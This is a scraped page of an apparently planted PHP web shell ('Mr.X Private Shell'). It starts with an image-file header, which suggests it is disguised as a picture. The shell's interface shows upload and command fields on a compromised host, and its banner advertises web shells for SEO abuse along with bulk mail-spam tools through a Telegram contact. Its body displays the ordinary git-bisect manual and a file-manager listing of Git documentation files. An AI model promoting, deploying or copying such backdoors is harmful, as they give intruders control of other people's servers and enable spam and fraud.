����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
git-bisect(1)
=============

NAME
----
git-bisect - Use binary search to find the commit that introduced a bug


SYNOPSIS
--------
[verse]
'git bisect' start [--term-(bad|new)=<term-new> --term-(good|old)=<term-old>]
		   [--no-checkout] [--first-parent] [<bad> [<good>...]] [--] [<pathspec>...]
'git bisect' (bad|new|<term-new>) [<rev>]
'git bisect' (good|old|<term-old>) [<rev>...]
'git bisect' terms [--term-(good|old) | --term-(bad|new)]
'git bisect' skip [(<rev>|<range>)...]
'git bisect' next
'git bisect' reset [<commit>]
'git bisect' (visualize|view)
'git bisect' replay <logfile>
'git bisect' log
'git bisect' run <cmd> [<arg>...]
'git bisect' help

DESCRIPTION
-----------
This command uses a binary search algorithm to find which commit in
your project's history introduced a bug. You use it by first telling
it a "bad" commit that is known to contain the bug, and a "good"
commit that is known to be before the bug was introduced. Then `git
bisect` picks a commit between those two endpoints and asks you
whether the selected commit is "good" or "bad". It continues narrowing
down the range until it finds the exact commit that introduced the
change.

In fact, `git bisect` can be used to find the commit that changed
*any* property of your project; e.g., the commit that fixed a bug, or
the commit that caused a benchmark's performance to improve. To
support this more general usage, the terms "old" and "new" can be used
in place of "good" and "bad", or you can choose your own terms. See
section "Alternate terms" below for more information.

Basic bisect commands: start, bad, good
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

As an example, suppose you are trying to find the commit that broke a
feature that was known to work in version `v2.6.13-rc2` of your
project. You start a bisect session as follows:

------------------------------------------------
$ git bisect start
$ git bisect bad                 # Current version is bad
$ git bisect good v2.6.13-rc2    # v2.6.13-rc2 is known to be good
------------------------------------------------

Once you have specified at least one bad and one good commit, `git
bisect` selects a commit in the middle of that range of history,
checks it out, and outputs something similar to the following:

------------------------------------------------
Bisecting: 675 revisions left to test after this (roughly 10 steps)
------------------------------------------------

You should now compile the checked-out version and test it. If that
version works correctly, type

------------------------------------------------
$ git bisect good
------------------------------------------------

If that version is broken, type

------------------------------------------------
$ git bisect bad
------------------------------------------------

Then `git bisect` will respond with something like

------------------------------------------------
Bisecting: 337 revisions left to test after this (roughly 9 steps)
------------------------------------------------

Keep repeating the process: compile the tree, test it, and depending
on whether it is good or bad run `git bisect good` or `git bisect bad`
to ask for the next commit that needs testing.

Eventually there will be no more revisions left to inspect, and the
command will print out a description of the first bad commit. The
reference `refs/bisect/bad` will be left pointing at that commit.


Bisect reset
~~~~~~~~~~~~

After a bisect session, to clean up the bisection state and return to
the original HEAD, issue the following command:

------------------------------------------------
$ git bisect reset
------------------------------------------------

By default, this will return your tree to the commit that was checked
out before `git bisect start`.  (A new `git bisect start` will also do
that, as it cleans up the old bisection state.)

With an optional argument, you can return to a different commit
instead:

------------------------------------------------
$ git bisect reset <commit>
------------------------------------------------

For example, `git bisect reset bisect/bad` will check out the first
bad revision, while `git bisect reset HEAD` will leave you on the
current bisection commit and avoid switching commits at all.


Alternate terms
~~~~~~~~~~~~~~~

Sometimes you are not looking for the commit that introduced a
breakage, but rather for a commit that caused a change between some
other "old" state and "new" state. For example, you might be looking
for the commit that introduced a particular fix. Or you might be
looking for the first commit in which the source-code filenames were
finally all converted to your company's naming standard. Or whatever.

In such cases it can be very confusing to use the terms "good" and
"bad" to refer to "the state before the change" and "the state after
the change". So instead, you can use the terms "old" and "new",
respectively, in place of "good" and "bad". (But note that you cannot
mix "good" and "bad" with "old" and "new" in a single session.)

In this more general usage, you provide `git bisect` with a "new"
commit that has some property and an "old" commit that doesn't have that
property. Each time `git bisect` checks out a commit, you test if that
commit has the property. If it does, mark the commit as "new";
otherwise, mark it as "old". When the bisection is done, `git bisect`
will report which commit introduced the property.

To use "old" and "new" instead of "good" and bad, you must run `git
bisect start` without commits as argument and then run the following
commands to add the commits:

------------------------------------------------
git bisect old [<rev>]
------------------------------------------------

to indicate that a commit was before the sought change, or

------------------------------------------------
git bisect new [<rev>...]
------------------------------------------------

to indicate that it was after.

To get a reminder of the currently used terms, use

------------------------------------------------
git bisect terms
------------------------------------------------

You can get just the old term with `git bisect terms --term-old`
or `git bisect terms --term-good`; `git bisect terms --term-new`
and `git bisect terms --term-bad` can be used to learn how to call
the commits more recent than the sought change.

If you would like to use your own terms instead of "bad"/"good" or
"new"/"old", you can choose any names you like (except existing bisect
subcommands like `reset`, `start`, ...) by starting the
bisection using

------------------------------------------------
git bisect start --term-old <term-old> --term-new <term-new>
------------------------------------------------

For example, if you are looking for a commit that introduced a
performance regression, you might use

------------------------------------------------
git bisect start --term-old fast --term-new slow
------------------------------------------------

Or if you are looking for the commit that fixed a bug, you might use

------------------------------------------------
git bisect start --term-new fixed --term-old broken
------------------------------------------------

Then, use `git bisect <term-old>` and `git bisect <term-new>` instead
of `git bisect good` and `git bisect bad` to mark commits.

Bisect visualize/view
~~~~~~~~~~~~~~~~~~~~~

To see the currently remaining suspects in 'gitk', issue the following
command during the bisection process (the subcommand `view` can be used
as an alternative to `visualize`):

------------
$ git bisect visualize
------------

Git detects a graphical environment through various environment variables:
`DISPLAY`, which is set in X Window System environments on Unix systems.
`SESSIONNAME`, which is set under Cygwin in interactive desktop sessions.
`MSYSTEM`, which is set under Msys2 and Git for Windows.
`SECURITYSESSIONID`, which may be set on macOS in interactive desktop sessions.

If none of these environment variables is set, 'git log' is used instead.
You can also give command-line options such as `-p` and `--stat`.

------------
$ git bisect visualize --stat
------------

Bisect log and bisect replay
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

After having marked revisions as good or bad, issue the following
command to show what has been done so far:

------------
$ git bisect log
------------

If you discover that you made a mistake in specifying the status of a
revision, you can save the output of this command to a file, edit it to
remove the incorrect entries, and then issue the following commands to
return to a corrected state:

------------
$ git bisect reset
$ git bisect replay that-file
------------

Avoiding testing a commit
~~~~~~~~~~~~~~~~~~~~~~~~~

If, in the middle of a bisect session, you know that the suggested
revision is not a good one to test (e.g. it fails to build and you
know that the failure does not have anything to do with the bug you
are chasing), you can manually select a nearby commit and test that
one instead.

For example:

------------
$ git bisect good/bad			# previous round was good or bad.
Bisecting: 337 revisions left to test after this (roughly 9 steps)
$ git bisect visualize			# oops, that is uninteresting.
$ git reset --hard HEAD~3		# try 3 revisions before what
					# was suggested
------------

Then compile and test the chosen revision, and afterwards mark
the revision as good or bad in the usual manner.

Bisect skip
~~~~~~~~~~~

Instead of choosing a nearby commit by yourself, you can ask Git to do
it for you by issuing the command:

------------
$ git bisect skip                 # Current version cannot be tested
------------

However, if you skip a commit adjacent to the one you are looking for,
Git will be unable to tell exactly which of those commits was the
first bad one.

You can also skip a range of commits, instead of just one commit,
using range notation. For example:

------------
$ git bisect skip v2.5..v2.6
------------

This tells the bisect process that no commit after `v2.5`, up to and
including `v2.6`, should be tested.

Note that if you also want to skip the first commit of the range you
would issue the command:

------------
$ git bisect skip v2.5 v2.5..v2.6
------------

This tells the bisect process that the commits between `v2.5` and
`v2.6` (inclusive) should be skipped.

Bisect next
~~~~~~~~~~~

Normally, after marking a revision as good or bad, Git automatically
computes and checks out the next revision to test. However, if you need to
explicitly request the next bisection step, you can use:

------------
$ git bisect next
------------

You might use this to resume the bisection process after interrupting it
by checking out a different revision.

Cutting down bisection by giving more parameters to bisect start
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

You can further cut down the number of trials, if you know what part of
the tree is involved in the problem you are tracking down, by specifying
pathspec parameters when issuing the `bisect start` command:

------------
$ git bisect start -- arch/i386 include/asm-i386
------------

If you know beforehand more than one good commit, you can narrow the
bisect space down by specifying all of the good commits immediately after
the bad commit when issuing the `bisect start` command:

------------
$ git bisect start v2.6.20-rc6 v2.6.20-rc4 v2.6.20-rc1 --
                   # v2.6.20-rc6 is bad
                   # v2.6.20-rc4 and v2.6.20-rc1 are good
------------

Bisect run
~~~~~~~~~~

If you have a script that can tell if the current source code is good
or bad, you can bisect by issuing the command:

------------
$ git bisect run my_script arguments
------------

Note that the script (`my_script` in the above example) should exit
with code 0 if the current source code is good/old, and exit with a
code between 1 and 127 (inclusive), except 125, if the current source
code is bad/new.

Any other exit code will abort the bisect process. It should be noted
that a program that terminates via `exit(-1)` leaves $? = 255, (see the
exit(3) manual page), as the value is chopped with `& 0377`.

The special exit code 125 should be used when the current source code
cannot be tested. If the script exits with this code, the current
revision will be skipped (see `git bisect skip` above). 125 was chosen
as the highest sensible value to use for this purpose, because 126 and 127
are used by POSIX shells to signal specific error status (127 is for
command not found, 126 is for command found but not executable--these
details do not matter, as they are normal errors in the script, as far as
`bisect run` is concerned).

You may often find that during a bisect session you want to have
temporary modifications (e.g. s/#define DEBUG 0/#define DEBUG 1/ in a
header file, or "revision that does not have this commit needs this
patch applied to work around another problem this bisection is not
interested in") applied to the revision being tested.

To cope with such a situation, after the inner 'git bisect' finds the
next revision to test, the script can apply the patch
before compiling, run the real test, and afterwards decide if the
revision (possibly with the needed patch) passed the test and then
rewind the tree to the pristine state.  Finally the script should exit
with the status of the real test to let the `git bisect run` command loop
determine the eventual outcome of the bisect session.

OPTIONS
-------
--no-checkout::
+
Do not checkout the new working tree at each iteration of the bisection
process. Instead just update the reference named `BISECT_HEAD` to make
it point to the commit that should be tested.
+
This option may be useful when the test you would perform in each step
does not require a checked out tree.
+
If the repository is bare, `--no-checkout` is assumed.

--first-parent::
+
Follow only the first parent commit upon seeing a merge commit.
+
In detecting regressions introduced through the merging of a branch, the merge
commit will be identified as introduction of the bug and its ancestors will be
ignored.
+
This option is particularly useful in avoiding false positives when a merged
branch contained broken or non-buildable commits, but the merge itself was OK.

EXAMPLES
--------

* Automatically bisect a broken build between v1.2 and HEAD:
+
------------
$ git bisect start HEAD v1.2 --      # HEAD is bad, v1.2 is good
$ git bisect run make                # "make" builds the app
$ git bisect reset                   # quit the bisect session
------------

* Automatically bisect a test failure between origin and HEAD:
+
------------
$ git bisect start HEAD origin --    # HEAD is bad, origin is good
$ git bisect run make test           # "make test" builds and tests
$ git bisect reset                   # quit the bisect session
------------

* Automatically bisect a broken test case:
+
------------
$ cat ~/test.sh
#!/bin/sh
make || exit 125                     # this skips broken builds
~/check_test_case.sh                 # does the test case pass?
$ git bisect start HEAD HEAD~10 --   # culprit is among the last 10
$ git bisect run ~/test.sh
$ git bisect reset                   # quit the bisect session
------------
+
Here we use a `test.sh` custom script. In this script, if `make`
fails, we skip the current commit.
`check_test_case.sh` should `exit 0` if the test case passes,
and `exit 1` otherwise.
+
It is safer if both `test.sh` and `check_test_case.sh` are
outside the repository to prevent interactions between the bisect,
make and test processes and the scripts.

* Automatically bisect with temporary modifications (hot-fix):
+
------------
$ cat ~/test.sh
#!/bin/sh

# tweak the working tree by merging the hot-fix branch
# and then attempt a build
if	git merge --no-commit --no-ff hot-fix &&
	make
then
	# run project specific test and report its status
	~/check_test_case.sh
	status=$?
else
	# tell the caller this is untestable
	status=125
fi

# undo the tweak to allow clean flipping to the next commit
git reset --hard

# return control
exit $status
------------
+
This applies modifications from a hot-fix branch before each test run,
e.g. in case your build or test environment changed so that older
revisions may need a fix which newer ones have already. (Make sure the
hot-fix branch is based off a commit which is contained in all revisions
which you are bisecting, so that the merge does not pull in too much, or
use `git cherry-pick` instead of `git merge`.)

* Automatically bisect a broken test case:
+
------------
$ git bisect start HEAD HEAD~10 --   # culprit is among the last 10
$ git bisect run sh -c "make || exit 125; ~/check_test_case.sh"
$ git bisect reset                   # quit the bisect session
------------
+
This shows that you can do without a run script if you write the test
on a single line.

* Locate a good region of the object graph in a damaged repository
+
------------
$ git bisect start HEAD <known-good-commit> [ <boundary-commit> ... ] --no-checkout
$ git bisect run sh -c '
	GOOD=$(git for-each-ref "--format=%(objectname)" refs/bisect/good-*) &&
	git rev-list --objects BISECT_HEAD --not $GOOD >tmp.$$ &&
	git pack-objects --stdout >/dev/null <tmp.$$
	rc=$?
	rm -f tmp.$$
	test $rc = 0'

$ git bisect reset                   # quit the bisect session
------------
+
In this case, when 'git bisect run' finishes, bisect/bad will refer to a commit that
has at least one parent whose reachable graph is fully traversable in the sense
required by 'git pack objects'.

* Look for a fix instead of a regression in the code
+
------------
$ git bisect start
$ git bisect new HEAD    # current commit is marked as new
$ git bisect old HEAD~10 # the tenth commit from now is marked as old
------------
+
or:
+
------------
$ git bisect start --term-old broken --term-new fixed
$ git bisect fixed
$ git bisect broken HEAD~10
------------

Getting help
~~~~~~~~~~~~

Use `git bisect` to get a short usage description, and `git bisect
help` or `git bisect -h` to get a long usage description.

SEE ALSO
--------
link:git-bisect-lk2009.html[Fighting regressions with git bisect],
linkgit:git-blame[1].

GIT
---
Part of the linkgit:git[1] suite

Filemanager

Name Type Size Permission Actions
RelNotes Folder 0755
contrib Folder 0755
howto Folder 0755
technical Folder 0755
BreakingChanges.adoc File 16.64 KB 0644
BreakingChanges.html File 49.87 KB 0644
CODE_OF_CONDUCT.md File 5.85 KB 0644
DecisionMaking.adoc File 3.77 KB 0644
DecisionMaking.html File 34.35 KB 0644
MyFirstContribution.adoc File 55.2 KB 0644
MyFirstContribution.html File 106.17 KB 0644
MyFirstObjectWalk.adoc File 28.88 KB 0644
MyFirstObjectWalk.html File 73.09 KB 0644
README.md File 3.58 KB 0644
ReviewingGuidelines.adoc File 8.69 KB 0644
ReviewingGuidelines.html File 40.35 KB 0644
SubmittingPatches.adoc File 38.07 KB 0644
SubmittingPatches.html File 78.92 KB 0644
ToolsForGit.adoc File 1.32 KB 0644
ToolsForGit.html File 32.47 KB 0644
blame-options.adoc File 5.96 KB 0644
cmds-ancillaryinterrogators.adoc File 1.26 KB 0644
cmds-ancillarymanipulators.adoc File 796 B 0644
cmds-developerinterfaces.adoc File 678 B 0644
cmds-foreignscminterface.adoc File 399 B 0644
cmds-guide.adoc File 833 B 0644
cmds-mainporcelain.adoc File 3.01 KB 0644
cmds-plumbinginterrogators.adoc File 1.73 KB 0644
cmds-plumbingmanipulators.adoc File 1.47 KB 0644
cmds-purehelpers.adoc File 1.24 KB 0644
cmds-synchelpers.adoc File 449 B 0644
cmds-synchingrepositories.adoc File 397 B 0644
cmds-userinterfaces.adoc File 507 B 0644
config.adoc File 18.27 KB 0644
date-formats.adoc File 1.14 KB 0644
diff-context-options.adoc File 372 B 0644
diff-format.adoc File 6.44 KB 0644
diff-generate-patch.adoc File 7.02 KB 0644
diff-options.adoc File 33.21 KB 0644
docbook-xsl.css File 4.45 KB 0644
docinfo.html File 50 B 0644
everyday.html File 30.27 KB 0644
fetch-options.adoc File 12.36 KB 0644
for-each-ref-options.adoc File 3.02 KB 0644
fsck-msgids.adoc File 6.37 KB 0644
git-add.adoc File 15.64 KB 0644
git-add.html File 53.06 KB 0644
git-am.adoc File 9.39 KB 0644
git-am.html File 45.37 KB 0644
git-annotate.adoc File 772 B 0644
git-annotate.html File 40.83 KB 0644
git-apply.adoc File 10.89 KB 0644
git-apply.html File 45.13 KB 0644
git-archive.adoc File 8.27 KB 0644
git-archive.html File 42.43 KB 0644
git-backfill.adoc File 2.52 KB 0644
git-backfill.html File 33.77 KB 0644
git-bisect-lk2009.adoc File 48.53 KB 0644
git-bisect-lk2009.html File 91.41 KB 0644
git-bisect.adoc File 17.77 KB 0644
git-bisect.html File 53.82 KB 0644
git-blame.adoc File 8.66 KB 0644
git-blame.html File 53.85 KB 0644
git-branch.adoc File 15.67 KB 0644
git-branch.html File 62.71 KB 0644
git-bugreport.adoc File 2.51 KB 0644
git-bugreport.html File 33.75 KB 0644
git-bundle.adoc File 13 KB 0644
git-bundle.html File 47.71 KB 0644
git-cat-file.adoc File 14.66 KB 0644
git-cat-file.html File 51.94 KB 0644
git-check-attr.adoc File 3.32 KB 0644
git-check-attr.html File 35.31 KB 0644
git-check-ignore.adoc File 4.06 KB 0644
git-check-ignore.html File 36.04 KB 0644
git-check-mailmap.adoc File 1.54 KB 0644
git-check-mailmap.html File 32.63 KB 0644
git-check-ref-format.adoc File 4.93 KB 0644
git-check-ref-format.html File 36.9 KB 0644
git-checkout-index.adoc File 5.54 KB 0644
git-checkout-index.html File 38 KB 0644
git-checkout.adoc File 21.72 KB 0644
git-checkout.html File 66.35 KB 0644
git-cherry-pick.adoc File 8.97 KB 0644
git-cherry-pick.html File 43.87 KB 0644
git-cherry.adoc File 3.53 KB 0644
git-cherry.html File 35.42 KB 0644
git-clean.adoc File 4.63 KB 0644
git-clean.html File 36.81 KB 0644
git-clone.adoc File 15.88 KB 0644
git-clone.html File 60.38 KB 0644
git-column.adoc File 2.15 KB 0644
git-column.html File 35.98 KB 0644
git-commit-graph.adoc File 5.89 KB 0644
git-commit-graph.html File 41.03 KB 0644
git-commit-tree.adoc File 2.65 KB 0644
git-commit-tree.html File 39.44 KB 0644
git-commit.adoc File 21.16 KB 0644
git-commit.html File 70.5 KB 0644
git-config.adoc File 20.88 KB 0644
git-config.html File 445.55 KB 0644
git-contacts.adoc File 2.52 KB 0644
git-contacts.html File 33.92 KB 0644
git-count-objects.adoc File 1.35 KB 0644
git-count-objects.html File 32.25 KB 0644
git-credential-cache--daemon.adoc File 891 B 0644
git-credential-cache--daemon.html File 31.46 KB 0644
git-credential-cache.adoc File 3.12 KB 0644
git-credential-cache.html File 34.16 KB 0644
git-credential-store.adoc File 3.55 KB 0644
git-credential-store.html File 35.03 KB 0644
git-credential.adoc File 11.95 KB 0644
git-credential.html File 45.38 KB 0644
git-describe.adoc File 8.12 KB 0644
git-describe.html File 40.6 KB 0644
git-diagnose.adoc File 2.16 KB 0644
git-diagnose.html File 33.22 KB 0644
git-diff-files.adoc File 1.2 KB 0644
git-diff-files.html File 92.09 KB 0644
git-diff-index.adoc File 4.7 KB 0644
git-diff-index.html File 97.13 KB 0644
git-diff-pairs.adoc File 1.96 KB 0644
git-diff-pairs.html File 83.75 KB 0644
git-diff-tree.adoc File 4.09 KB 0644
git-diff-tree.html File 126.96 KB 0644
git-diff.adoc File 8.28 KB 0644
git-diff.html File 119.69 KB 0644
git-difftool.adoc File 4.49 KB 0644
git-difftool.html File 42.05 KB 0644
git-fast-export.adoc File 12.37 KB 0644
git-fast-export.html File 45.54 KB 0644
git-fast-import.adoc File 61.52 KB 0644
git-fast-import.html File 114.47 KB 0644
git-fetch-pack.adoc File 4.14 KB 0644
git-fetch-pack.html File 35.78 KB 0644
git-fetch.adoc File 11.54 KB 0644
git-fetch.html File 88.96 KB 0644
git-filter-branch.adoc File 30.3 KB 0644
git-filter-branch.html File 65.75 KB 0644
git-fmt-merge-msg.adoc File 1.9 KB 0644
git-fmt-merge-msg.html File 34.3 KB 0644
git-for-each-ref.adoc File 15.81 KB 0644
git-for-each-ref.html File 60.05 KB 0644
git-for-each-repo.adoc File 1.9 KB 0644
git-for-each-repo.html File 33.09 KB 0644
git-format-patch.adoc File 29.21 KB 0644
git-format-patch.html File 94.24 KB 0644
git-fsck-objects.adoc File 354 B 0644
git-fsck-objects.html File 30.7 KB 0644
git-fsck.adoc File 5.99 KB 0644
git-fsck.html File 53.52 KB 0644
git-fsmonitor--daemon.adoc File 3.53 KB 0644
git-fsmonitor--daemon.html File 35.9 KB 0644
git-gc.adoc File 6.59 KB 0644
git-gc.html File 49.01 KB 0644
git-get-tar-commit-id.adoc File 753 B 0644
git-get-tar-commit-id.html File 31.12 KB 0644
git-grep.adoc File 11.05 KB 0644
git-grep.html File 47.94 KB 0644
git-hash-object.adoc File 2.09 KB 0644
git-hash-object.html File 32.91 KB 0644
git-help.adoc File 7.35 KB 0644
git-help.html File 40.88 KB 0644
git-hook.adoc File 1 KB 0644
git-hook.html File 31.95 KB 0644
git-http-backend.adoc File 11.36 KB 0644
git-http-backend.html File 43.53 KB 0644
git-http-fetch.adoc File 1.74 KB 0644
git-http-fetch.html File 32.71 KB 0644
git-http-push.adoc File 2.92 KB 0644
git-http-push.html File 34.32 KB 0644
git-imap-send.adoc File 6.46 KB 0644
git-imap-send.html File 42.43 KB 0644
git-index-pack.adoc File 6.15 KB 0644
git-index-pack.html File 38.61 KB 0644
git-init-db.adoc File 409 B 0644
git-init-db.html File 30.76 KB 0644
git-init.adoc File 6.08 KB 0644
git-init.html File 41.3 KB 0644
git-interpret-trailers.adoc File 12.54 KB 0644
git-interpret-trailers.html File 53.71 KB 0644
git-last-modified.adoc File 1.33 KB 0644
git-last-modified.html File 32.41 KB 0644
git-log.adoc File 6.79 KB 0644
git-log.html File 191.76 KB 0644
git-ls-files.adoc File 11.83 KB 0644
git-ls-files.html File 47 KB 0644
git-ls-remote.adoc File 5.01 KB 0644
git-ls-remote.html File 37.24 KB 0644
git-ls-tree.adoc File 5.39 KB 0644
git-ls-tree.html File 38.16 KB 0644
git-mailinfo.adoc File 3.78 KB 0644
git-mailinfo.html File 36.02 KB 0644
git-mailsplit.adoc File 1.31 KB 0644
git-mailsplit.html File 32.31 KB 0644
git-maintenance.adoc File 19.28 KB 0644
git-maintenance.html File 64.48 KB 0644
git-merge-base.adoc File 7.58 KB 0644
git-merge-base.html File 41.4 KB 0644
git-merge-file.adoc File 3.98 KB 0644
git-merge-file.html File 36.22 KB 0644
git-merge-index.adoc File 2.39 KB 0644
git-merge-index.html File 33.51 KB 0644
git-merge-one-file.adoc File 387 B 0644
git-merge-one-file.html File 30.72 KB 0644
git-merge-tree.adoc File 12.62 KB 0644
git-merge-tree.html File 47.06 KB 0644
git-merge.adoc File 14.79 KB 0644
git-merge.html File 83.48 KB 0644
git-mergetool--lib.adoc File 1.43 KB 0644
git-mergetool--lib.html File 32.23 KB 0644
git-mergetool.adoc File 4.41 KB 0644
git-mergetool.html File 53.3 KB 0644
git-mktag.adoc File 1.74 KB 0644
git-mktag.html File 33.01 KB 0644
git-mktree.adoc File 1.05 KB 0644
git-mktree.html File 31.64 KB 0644
git-multi-pack-index.adoc File 5.03 KB 0644
git-multi-pack-index.html File 37 KB 0644
git-mv.adoc File 2.04 KB 0644
git-mv.html File 33.39 KB 0644
git-name-rev.adoc File 3.27 KB 0644
git-name-rev.html File 34.5 KB 0644
git-notes.adoc File 14 KB 0644
git-notes.html File 56.05 KB 0644
git-pack-objects.adoc File 21.46 KB 0644
git-pack-objects.html File 56.16 KB 0644
git-pack-redundant.adoc File 1.83 KB 0644
git-pack-redundant.html File 33.01 KB 0644
git-pack-refs.adoc File 1.66 KB 0644
git-pack-refs.html File 35.09 KB 0644
git-patch-id.adoc File 2.37 KB 0644
git-patch-id.html File 33.47 KB 0644
git-prune-packed.adoc File 946 B 0644
git-prune-packed.html File 31.75 KB 0644
git-prune.adoc File 1.87 KB 0644
git-prune.html File 33.37 KB 0644
git-pull.adoc File 7.7 KB 0644
git-pull.html File 90.41 KB 0644
git-push.adoc File 28.59 KB 0644
git-push.html File 90 KB 0644
git-quiltimport.adoc File 1.65 KB 0644
git-quiltimport.html File 32.57 KB 0644
git-range-diff.adoc File 10.72 KB 0644
git-range-diff.html File 45.43 KB 0644
git-read-tree.adoc File 16.52 KB 0644
git-read-tree.html File 51.16 KB 0644
git-rebase.adoc File 45.65 KB 0644
git-rebase.html File 106.94 KB 0644
git-receive-pack.adoc File 9.98 KB 0644
git-receive-pack.html File 43.53 KB 0644
git-reflog.adoc File 5.52 KB 0644
git-reflog.html File 38.51 KB 0644
git-refs.adoc File 3.22 KB 0644
git-refs.html File 43.37 KB 0644
git-remote-ext.adoc File 3.88 KB 0644
git-remote-ext.html File 35.66 KB 0644
git-remote-fd.adoc File 1.59 KB 0644
git-remote-fd.html File 32.82 KB 0644
git-remote-helpers.html File 30.25 KB 0644
git-remote.adoc File 8.56 KB 0644
git-remote.html File 43.07 KB 0644
git-repack.adoc File 11.2 KB 0644
git-repack.html File 45.04 KB 0644
git-replace.adoc File 5.09 KB 0644
git-replace.html File 37.54 KB 0644
git-replay.adoc File 4.29 KB 0644
git-replay.html File 90.78 KB 0644
git-repo.adoc File 3.36 KB 0644
git-repo.html File 35.99 KB 0644
git-request-pull.adoc File 1.99 KB 0644
git-request-pull.html File 33.35 KB 0644
git-rerere.adoc File 7.6 KB 0644
git-rerere.html File 39.92 KB 0644
git-reset.adoc File 18.78 KB 0644
git-reset.html File 57.85 KB 0644
git-restore.adoc File 6.9 KB 0644
git-restore.html File 41.63 KB 0644
git-rev-list.adoc File 3.15 KB 0644
git-rev-list.html File 129.4 KB 0644
git-rev-parse.adoc File 16.64 KB 0644
git-rev-parse.html File 74.9 KB 0644
git-revert.adoc File 5.3 KB 0644
git-revert.html File 39.11 KB 0644
git-rm.adoc File 7.11 KB 0644
git-rm.html File 40.73 KB 0644
git-send-pack.adoc File 5.05 KB 0644
git-send-pack.html File 37.18 KB 0644
git-sh-i18n--envsubst.adoc File 928 B 0644
git-sh-i18n--envsubst.html File 31.46 KB 0644
git-sh-i18n.adoc File 1.12 KB 0644
git-sh-i18n.html File 31.79 KB 0644
git-sh-setup.adoc File 2.91 KB 0644
git-sh-setup.html File 34.1 KB 0644
git-shell.adoc File 2.91 KB 0644
git-shell.html File 34.49 KB 0644
git-shortlog.adoc File 4.31 KB 0644
git-shortlog.html File 75.95 KB 0644
git-show-branch.adoc File 6.44 KB 0644
git-show-branch.html File 39.05 KB 0644
git-show-index.adoc File 1.46 KB 0644
git-show-index.html File 32.71 KB 0644
git-show-ref.adoc File 6.6 KB 0644
git-show-ref.html File 38.82 KB 0644
git-show.adoc File 1.89 KB 0644
git-show.html File 122.94 KB 0644
git-sparse-checkout.adoc File 22.22 KB 0644
git-sparse-checkout.html File 58.47 KB 0644
git-stage.adoc File 299 B 0644
git-stage.html File 30.65 KB 0644
git-stash.adoc File 15.76 KB 0644
git-stash.html File 55 KB 0644
git-status.adoc File 19.9 KB 0644
git-status.html File 57.21 KB 0644
git-stripspace.adoc File 1.92 KB 0644
git-stripspace.html File 33.1 KB 0644
git-submodule.adoc File 21.1 KB 0644
git-submodule.html File 57.83 KB 0644
git-switch.adoc File 8.69 KB 0644
git-switch.html File 46.37 KB 0644
git-symbolic-ref.adoc File 2.32 KB 0644
git-symbolic-ref.html File 33.72 KB 0644
git-tag.adoc File 14.63 KB 0644
git-tag.html File 55.53 KB 0644
git-tools.adoc File 422 B 0644
git-tools.html File 30.48 KB 0644
git-unpack-file.adoc File 434 B 0644
git-unpack-file.html File 30.91 KB 0644
git-unpack-objects.adoc File 1.19 KB 0644
git-unpack-objects.html File 31.94 KB 0644
git-update-index.adoc File 23.48 KB 0644
git-update-index.html File 61.22 KB 0644
git-update-ref.adoc File 7.43 KB 0644
git-update-ref.html File 40.78 KB 0644
git-update-server-info.adoc File 801 B 0644
git-update-server-info.html File 31.48 KB 0644
git-upload-archive.adoc File 2.04 KB 0644
git-upload-archive.html File 33.03 KB 0644
git-upload-pack.adoc File 2.94 KB 0644
git-upload-pack.html File 34.59 KB 0644
git-var.adoc File 3.07 KB 0644
git-var.html File 34.64 KB 0644
git-verify-commit.adoc File 573 B 0644
git-verify-commit.html File 31.24 KB 0644
git-verify-pack.adoc File 1.05 KB 0644
git-verify-pack.html File 32.14 KB 0644
git-verify-tag.adoc File 564 B 0644
git-verify-tag.html File 31.25 KB 0644
git-version.adoc File 1.01 KB 0644
git-version.html File 31.72 KB 0644
git-web--browse.adoc File 3.49 KB 0644
git-web--browse.html File 35.36 KB 0644
git-whatchanged.adoc File 1.27 KB 0644
git-whatchanged.html File 32.38 KB 0644
git-worktree.adoc File 21.01 KB 0644
git-worktree.html File 61.82 KB 0644
git-write-tree.adoc File 1.01 KB 0644
git-write-tree.html File 31.81 KB 0644
git.adoc File 44.78 KB 0644
git.html File 114.58 KB 0644
gitattributes.adoc File 49.31 KB 0644
gitattributes.html File 93.83 KB 0644
gitcli.adoc File 11.05 KB 0644
gitcli.html File 44.96 KB 0644
gitcore-tutorial.adoc File 60.78 KB 0644
gitcore-tutorial.html File 110.5 KB 0644
gitcredentials.adoc File 11.9 KB 0644
gitcredentials.html File 45.7 KB 0644
gitdiffcore.adoc File 13.75 KB 0644
gitdiffcore.html File 46.27 KB 0644
giteveryday.adoc File 14.08 KB 0644
giteveryday.html File 50.45 KB 0644
gitfaq.adoc File 25.85 KB 0644
gitfaq.html File 62.81 KB 0644
gitformat-bundle.adoc File 3.18 KB 0644
gitformat-bundle.html File 34.5 KB 0644
gitformat-chunk.adoc File 5.43 KB 0644
gitformat-chunk.html File 37.63 KB 0644
gitformat-commit-graph.adoc File 7.9 KB 0644
gitformat-commit-graph.html File 40.99 KB 0644
gitformat-index.adoc File 14.82 KB 0644
gitformat-index.html File 51.26 KB 0644
gitformat-loose.adoc File 1.82 KB 0644
gitformat-loose.html File 32.63 KB 0644
gitformat-pack.adoc File 26.6 KB 0644
gitformat-pack.html File 66.8 KB 0644
gitformat-signature.adoc File 7.9 KB 0644
gitformat-signature.html File 40.45 KB 0644
gitglossary.adoc File 359 B 0644
gitglossary.html File 72.52 KB 0644
githooks.adoc File 28.95 KB 0644
githooks.html File 69.51 KB 0644
gitignore.adoc File 8.99 KB 0644
gitignore.html File 41.23 KB 0644
